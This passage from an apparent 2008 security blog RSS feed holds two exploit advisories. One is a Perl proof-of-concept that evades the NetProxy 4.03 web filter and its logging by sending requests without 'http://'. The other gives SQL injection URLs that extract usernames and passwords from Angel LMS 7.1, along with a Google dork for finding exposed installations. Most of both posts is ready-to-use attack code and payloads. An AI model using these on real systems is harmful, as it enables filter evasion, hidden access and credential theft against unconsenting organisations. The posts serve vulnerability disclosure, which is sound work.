NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending [...]]]></description>
			<content:encoded><![CDATA[<p>Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.</p>
<p><strong>Description</strong><br />
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:</p>
<blockquote><p>GET http://www.milw0rm.com HTTP/1.0</p></blockquote>
<p>NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without &#8216;http://&#8217; in the URL allows access to the blocked URL (note that the port must be manually specified as well):</p>
<blockquote><p>GET www.milw0rm.com:80 HTTP/1.0</p></blockquote>
<p>In addition, requests made in this manner are not logged to NetProxy&#8217;s connection log file.</p>
<p><strong>Exploit POC</strong><br />
<code>#!/usr/bin/perl<br />
use IO::Socket;</p>
<p>#Define the NetProxy server and port<br />
$proxy_ip = "127.0.0.1";<br />
$proxy_port = "8080";</p>
<p>#Set the site, port and page to request<br />
$site = "www.milw0rm.com";<br />
$port = "80";<br />
$page = "index.html";</p>
<p>#Define FF and IE user agent strings<br />
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";<br />
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";</p>
<p>#Create connection to NetProxy<br />
my $sock = new IO::Socket::INET(<br />
Proto =&gt; 'tcp',<br />
PeerAddr =&gt; $proxy_ip,<br />
PeerPort =&gt; $proxy_port,<br />
);<br />
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;</p>
<p>#Format the request<br />
$request = "GET $site:$port/$page HTTP/1.0\r\n";<br />
$request .= "User-Agent: $ms_ff\r\n";<br />
$request .= "\r\n";</p>
<p>#Send the request<br />
print $sock $request;</p>
<p>#Read the reply<br />
while(&lt;$sock&gt;){<br />
$reply .= $_;<br />
}</p>
<p>close($sock);</p>
<p>#Separate NetProxy header from HTML<br />
($header,$html) = split("\r\n\r",$reply);</p>
<p>print $html;</p>
<p>exit;</code></p>
<p><strong>Credits</strong><br />
Discovered by Craig Heffner and originally posted on <a href="http://milw0rm.com/exploits/3381">milw0rm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Angel LMS 7.1 SQL Injection Vulnerability</title>
		<link>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/</link>
		<comments>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:29:22 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Web exploit]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=8</guid>
		<description><![CDATA[Angel LMS 7.1 contains a SQL injection vulnerability in the /section/default.asp page that grants an un-authenticated users access to all database tables and data. Examples include enumeration of tables, columns, user names, passwords, grades, and test questions/answers (you basically have access to everything).
Exploit POC
/section/default.asp?id=&#8217;+union+select+top+1+username+from+faculty_accounts&#8211;&#8221;
/section/default.asp?id=&#8217;+union+select+top+1+username+from+accounts&#8211;&#8221;
/section/default.asp?id=&#8217;+union+select+top+1+password+from+accounts&#8211;&#8221;
Google Dork
intext:&#8221;2006 angel learning, inc&#8221; -pdf
Credits
Vulnerability discovered by Craig Heffner, originally posted [...]]]></description>
			<content:encoded><![CDATA[<p>Angel LMS 7.1 contains a SQL injection vulnerability in the /section/default.asp page that grants an un-authenticated users access to all database tables and data. Examples include enumeration of tables, columns, user names, passwords, grades, and test questions/answers (you basically have access to everything).</p>
<p><strong>Exploit POC</strong><br />
/section/default.asp?id=&#8217;+union+select+top+1+username+from+faculty_accounts&#8211;&#8221;<br />
/section/default.asp?id=&#8217;+union+select+top+1+username+from+accounts&#8211;&#8221;<br />
/section/default.asp?id=&#8217;+union+select+top+1+password+from+accounts&#8211;&#8221;</p>
<p><strong>Google Dork</strong><br />
intext:&#8221;2006 angel learning, inc&#8221; -pdf</p>
<p><strong>Credits</strong><br />
Vulnerability discovered by Craig Heffner, originally posted on <a href="http://milw0rm.com/exploits/3390">milw0rm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
